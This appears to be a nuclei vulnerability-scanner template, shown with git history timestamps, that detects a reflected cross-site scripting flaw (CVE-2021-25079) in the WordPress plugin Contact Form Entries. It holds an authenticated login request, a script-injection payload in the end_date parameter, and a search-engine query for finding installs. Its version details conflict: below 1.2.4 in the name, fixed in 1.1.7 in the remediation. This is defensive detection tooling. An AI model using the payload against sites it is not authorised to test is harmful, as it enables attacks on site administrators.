nuclei-templates/http/cves/2021/CVE-2021-25079.yaml

51 lines
2.0 KiB
YAML
Raw Normal View History

2023-10-17 07:20:28 +00:00
id: CVE-2021-25079
2023-10-17 17:21:59 +00:00
2023-10-17 07:20:28 +00:00
info:
name: Contact Form Entries < 1.2.4 - Cross-Site Scripting
author: r3Y3r53
severity: medium
description: |
The plugin does not sanitise and escape various parameters, such as form_id, status, end_date, order, orderby and search before outputting them back in the admin page
remediation: Fixed in version 1.1.7
2023-10-17 08:16:05 +00:00
reference:
2023-10-17 07:20:28 +00:00
- https://wpscan.com/vulnerability/c3d49271-9656-4428-8357-0d1d77b7fc63
- https://nvd.nist.gov/vuln/detail/CVE-2021-25079
- https://wordpress.org/plugins/contact-form-entries/
- https://plugins.trac.wordpress.org/changeset/2629442
2023-10-17 17:21:59 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-25079
2023-10-17 17:21:59 +00:00
cwe-id: CWE-79
epss-score: 0.001
epss-percentile: 0.40882
cpe: cpe:2.3:a:crmperks:contact_form_entries:*:*:*:*:*:wordpress:*:*
2023-10-17 07:20:28 +00:00
metadata:
verified: true
max-request: 2
vendor: crmperks
product: contact_form_entries
framework: wordpress
2023-10-17 17:32:04 +00:00
google-query: inurl:"/wp-content/plugins/contact-form-entries/"
2024-01-14 09:21:50 +00:00
tags: cve2021,cve,wordpress,wp-plugin,wpscan,authenticated,contact-form-entries,xss,crmperks
2023-10-17 07:20:28 +00:00
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php?page=vxcf_leads&form_id=cf_5&status&tab=entries&search&order=asc&orderby=file-438&field&time&start_date&end_date=onobw%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3Ez2u4g HTTP/1.1
Host: {{Hostname}}
2023-10-17 08:16:05 +00:00
2023-10-17 07:20:28 +00:00
matchers:
- type: dsl
dsl:
- 'status_code_2 == 200'
- 'contains(header_2, "text/html")'
- "contains(body_2, '<script>alert(document.domain)</script>') && contains(body_2, 'contact-form')"
condition: and
# digest: 490a004630440220527cd48e142fc92a896aa9a399aaec530758544a07344bf510df911351b0108c022051f1ca942de9836a377cb44c7a038c6f2b740ecceeb66faca7d10b4a7e7f7585:922c64590222798bb761d5b6d8e72950